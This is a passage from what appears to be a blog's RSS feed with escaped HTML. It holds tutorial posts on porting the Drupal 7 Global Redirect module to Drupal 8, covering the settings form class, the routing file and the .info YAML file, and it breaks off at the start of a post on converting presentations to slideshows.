&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use Drupal\system\SystemConfigFormBase;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use Drupal\Core\Config\ConfigFactory;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use Symfony\Component\DependencyInjection\ContainerInterface;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Defines a form to configure module settings.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;class GlobalredirectSettingsForm extends SystemConfigFormBase {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  /**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   * {@inheritdoc}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  public function getFormID() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    return &apos;globalredirect_settings&apos;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things to point out about this class:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It defines the namespace, per the directory structure the file resides in.&lt;/li&gt;
&lt;li&gt;It makes use of several classes we may need access to. In particular, &lt;code&gt;ConfigFactory&lt;/code&gt;  which provides access to Drupal’s configuration system so that we can get and save configuration items, and  &lt;a href=&quot;https://api.drupal.org/api/drupal/core!modules!system!lib!Drupal!system!SystemConfigFormBase.php/class/SystemConfigFormBase/8&quot;&gt;SystemConfigFormBase&lt;/a&gt; which is the base class for doing module’s settings form, basically replacing Drupal 7′s  &lt;a href=&quot;https://api.drupal.org/api/drupal/modules%21system%21system.module/function/system_settings_form/7&quot;&gt;system_settings_form()&lt;/a&gt;. It extends on  &lt;a href=&quot;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Form%21FormBase.php/class/FormBase/8&quot;&gt;FormBase&lt;/a&gt;, the very basic form class which implements  &lt;a href=&quot;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Form%21FormInterface.php/interface/FormInterface/8&quot;&gt;FormInterface&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;It implements &lt;code&gt;getFormID()&lt;/code&gt; which returns a string, defining the form name.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now that we have a very basic implementation of the module’s settings form we will need to implement some other methods which will get this form to actually display the form (to build the form if so to speak), handle submit actions, etc. Let’s proceed to update the form with some more code:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&amp;#x3C;?php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * @file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * This is the GlobalRedirect admin include which provides an interface to global redirect to change some of the default settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Contains \Drupal\globalredirect\Form\GlobalredirectSettingsForm.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;namespace Drupal\globalredirect\Form;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use Drupal\system\SystemConfigFormBase;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use Drupal\Core\Config\ConfigFactory;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use Symfony\Component\DependencyInjection\ContainerInterface;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Defines a form to configure module settings.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;class GlobalredirectSettingsForm extends SystemConfigFormBase {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  /**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   * {@inheritdoc}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  public function getFormID() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    return &apos;globalredirect_settings&apos;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  /**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   * {@inheritdoc}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  public function buildForm(array $form, array &amp;#x26;$form_state) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    // Get all settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $config = $this-&gt;configFactory-&gt;get(&apos;globalredirect.settings&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $settings = $config-&gt;get();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $form[&apos;settings&apos;] = array(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      &apos;#tree&apos; =&gt; TRUE,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $form[&apos;settings&apos;][&apos;deslash&apos;] = array(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      &apos;#type&apos; =&gt; &apos;checkbox&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      &apos;#title&apos; =&gt; t(&apos;Deslash&apos;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      &apos;#description&apos; =&gt; t(&apos;If enabled, this option will remove the trailing slash from requests. This stops requests such as `example.com/node/1/` failing to match the corresponding alias and can cause duplicate content. On the other hand, if you require certain requests to have a trailing slash, this feature can cause problems so may need to be disabled.&apos;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      &apos;#default_value&apos; =&gt; $settings[&apos;deslash&apos;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    return parent::buildForm($form, $form_state);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  /**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   * {@inheritdoc}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   * Compares the submitted settings to the defaults and unsets any that are equal. This was we only store overrides.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  public function submitForm(array &amp;#x26;$form, array &amp;#x26;$form_state) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    // Get config factory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $config = $this-&gt;configFactory-&gt;get(&apos;globalredirect.settings&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $form_values = $form_state[&apos;values&apos;][&apos;settings&apos;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      -&gt;set(&apos;deslash&apos;, $form_values[&apos;deslash&apos;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      -&gt;save();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    parent::submitForm($form, $form_state);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The updated class has now implementations for  &lt;code&gt;buildForm()&lt;/code&gt;  and  &lt;code&gt;submitForm()&lt;/code&gt;. The code shows only how the &lt;code&gt;deslash&lt;/code&gt; configuration property is configured to avoid pasting a very large chunk of code with all the settings this module actually configures.&lt;/p&gt;
&lt;p&gt;While the  &lt;code&gt;ConfigFactory&lt;/code&gt;  and  &lt;code&gt;ContainerInterface&lt;/code&gt; classes aren’t really required explicitly, if you’re wondering what is their purpose then you should consult the class source of  &lt;code&gt;SystemConfigFormBase,&lt;/code&gt;  which implements the required methods for dependency injection. What does that mean? To explain roughly, the class makes use of constructor injection principle to make some objects available for you “behind the scenes”. This eliminates cluttered code and allows for more reusable code. If you’re asking yourself where is the  &lt;code&gt;configFactory&lt;/code&gt;  coming from in our class? the answer is dependency injection. We could’ve used the global &lt;code&gt;config()&lt;/code&gt; function or possibly the static &lt;code&gt;Drupal::Config()&lt;/code&gt; method but we didn’t, because using the configFactory is a more preferred method.&lt;/p&gt;</content:encoded></item><item><title>Drupal 8 module development #2 – adding basic routing</title><link>https://lirantal.com/blog/2013-09-20/</link><guid>https://lirantal.com/blog/2013-09-20/</guid><description>If you are coming from Drupal 7 you&apos;ll need to figure out how to use globalredirect_menu() and hook_menu() in Drupal 8 to handle page routing</description><pubDate>Fri, 20 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the &lt;a href=&quot;http://enginx.com/content/drupal-8-module-development-1-kicking#overlay-context=content/drupal-8-module-development-kicking&quot;&gt;previous article&lt;/a&gt;  we looked into the very basic job of beginning a module’s port to Drupal 8 and that was to update the module .info file. Next up, we will take a look at updating the routing system create a valid menu entry which will point to the module’s settings page.&lt;/p&gt;
&lt;p&gt;In Drupal 7 and previous versions, it was required to implement &lt;code&gt;hook_menu()&lt;/code&gt; and return an associative array with a list of parameters which define the menu entry, such as the routing path, the title, access permissions etc. For the Global Redirect module that menu entry for configuring the module looked as such:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Implements hook_menu().&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function globalredirect_menu() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $items[&apos;admin/config/system/globalredirect&apos;] = array(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;title&apos; =&gt; &apos;Global Redirect&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;description&apos; =&gt; &apos;Choose which features you would like enabled for Global Redirect&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;page callback&apos; =&gt; &apos;drupal_get_form&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;page arguments&apos; =&gt; array(&apos;globalredirect_settings&apos;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;access arguments&apos; =&gt; array(&apos;administer site configuration&apos;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;file&apos; =&gt; &apos;globalredirect.admin.inc&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  return $items;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With Drupal 8, it is required to update the routing in a dedicated routing file, as well as implementing  &lt;code&gt;hook_menu()&lt;/code&gt;, so the first order of business would be to create the routing file which takes the format of  &lt;code&gt;&amp;#x3C;module_name&gt;.routing.yml&lt;/code&gt;, in our case it will be &lt;code&gt;globalredirect.routing.yml&lt;/code&gt;, and we will add the routing information to it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;globalredirect_settings:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  path: &apos;/admin/config/system/globalredirect&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  defaults:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    _form: &apos;Drupal\globalredirect\Form\GlobalredirectSettingsForm&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  requirements:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    _permission: &apos;administer site configuration&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The routing declaration begins by specifying the name of this route entry  &lt;code&gt;globalredirect_settings&lt;/code&gt;, followed by the settings for it. The  &lt;code&gt;pattern&lt;/code&gt;  is used to identify the URL pattern and can actually contain named placeholder parameters like we’ve seen in previous  &lt;code&gt;hook_menu()&lt;/code&gt;  implementations (although they take a different syntax here). The next  &lt;code&gt;_form&lt;/code&gt; entry specifies the form class which Drupal expects to load for the settings form, and finally the  &lt;code&gt;_permission&lt;/code&gt;  entry specifies the access control to validate the user has specific access.&lt;/p&gt;
&lt;p&gt;Followed by routing file, we’ll update the &lt;code&gt;hook_menu()&lt;/code&gt;implementation to correlate with the routing entry:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Implements hook_menu().&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function globalredirect_menu() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $items = array();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $items[&apos;globalredirect_settings&apos;] = array(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;title&apos; =&gt; &apos;Global Redirect&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;description&apos; =&gt; &apos;Choose which features you would like enabled for Global Redirect.&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &apos;route_name&apos; =&gt; &apos;globalredirect_settings&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  return $items;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see  &lt;code&gt;hook_menu()&lt;/code&gt;  implementation is quite simpler now. While we used the route name for the routing entry in the  &lt;code&gt;$items&lt;/code&gt;  array, it’s not a must and we could’ve specified the path just as well. It’s the  &lt;code&gt;route_name&lt;/code&gt;  array key which actually matters.&lt;/p&gt;</content:encoded></item><item><title>Drupal 8 module development #1 – kickoff</title><link>https://lirantal.com/blog/2013-09-16/</link><guid>https://lirantal.com/blog/2013-09-16/</guid><description>This is the first of several on-going blog post series which aim to educate on the process of porting modules to Drupal 8 with real life examples by porting a popular Drupal 7 module to Drupal 8.</description><pubDate>Mon, 16 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been following  &lt;a href=&quot;http://drupal.org/community-initiatives/drupal-core&quot;&gt;Drupal 8 development&lt;/a&gt;  for quite a while, during which I helped a bit with the issue queue, posting some patches and did some general sanity testing to see what’s the buzz all about. I’m a firm believer in getting your hands dirty if you really want to know what’s going under the hood, and sometimes it’s just not enough to “read about it”. So with that said, I figured I’ll pick myself some non-migrated yet Drupal 7 module and start working on that. That module turned out to be  &lt;a href=&quot;https://drupal.org/project/globalredirect&quot;&gt;Global Redirect&lt;/a&gt;  which isn’t a terribly complex module so it makes a good starting point.&lt;/p&gt;
&lt;p&gt;After doing some good progress with the module, I have e-mailed  &lt;a href=&quot;https://drupal.org/user/59351&quot;&gt;Thomas&lt;/a&gt;, the module’s maintainer and started collaborating on the Drupal 8 port together with  &lt;a href=&quot;https://drupal.org/user/848238&quot;&gt;Francisco&lt;/a&gt;  and we’re on our way to get that module up and running for Drupal 8. In doing this, it was important for me to port the module with a sequence of logically incremented commits which are building-up the module’s port together so this will be easier for new comers to figure out from the commit diffs how the porting process begins.&lt;/p&gt;
&lt;h2 id=&quot;getting-your-hands-dirty-the-info-file&quot;&gt;Getting your hands dirty: the .info file&lt;/h2&gt;
&lt;p&gt;To kick-off this series of how to port a Drupal 7 module to Drupal 8 I will begin with a short and very focused area – the module’s info file. The module’s .info file purpose is very much like Drupal 7′s, provide some basic metadata about the file. The difference is that Drupal 8 version is expecting to find the YAML version of the file.&lt;/p&gt;
&lt;p&gt;The structure of the .info file is very similar to that of Drupal 7 and a typical content would look like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;name: &apos;Global Redirect&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;description: &apos;Searches for an alias of the current URL and 301 redirects if found. Stops duplicate content arising when path module is enabled.&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;core: 8.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;configure: admin/config/system/globalredirect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;package: &apos;Path management&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;type: module&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While YAML syntax is used to structure this file it is also possible to use PHP or another (meta) language. As you can see, the module’s &lt;code&gt;.info&lt;/code&gt; file is pretty basic and easy to get going.&lt;/p&gt;
&lt;p&gt;Popular reasons for the module not showing up in Drupal 8:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You don’t have the .info file exists&lt;/li&gt;
&lt;li&gt;You don’t have the directive  &lt;code&gt;type: module&lt;/code&gt; in the &lt;code&gt;.info&lt;/code&gt; file&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>Enabling slideshows in Drupal by converting PPT and PDFs</title><link>https://lirantal.com/blog/2013-09-01/</link><guid>https://lirantal.com/blog/2013-09-01/</guid><description>Using Gearman as a job server to run background scripts that convert media payload like PowerPoint and PDF files into Slideshows hosted on a Drupal site</description><pubDate>Tue, 10 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the user stories we’ve been busy with at &lt;a href=&quot;https://hpln.hp.com/&quot;&gt;work&lt;/a&gt;  was to enable a service similar to &lt;a href=&quot;http://www.slideshare.net/&quot;&gt;slideshare&lt;/a&gt;, where users are able to upload their presentations and we’ll create a browser slideshow for it. This means that we accept various formats, like the popular .ppt presentation files, and locally convert it to something we can work with and display on standards web browsers like images. Doing this with online services like slideshare is definitely possible using their APIs but we need to keep these stuff in-house due to company policy and such, so my colleague  &lt;a 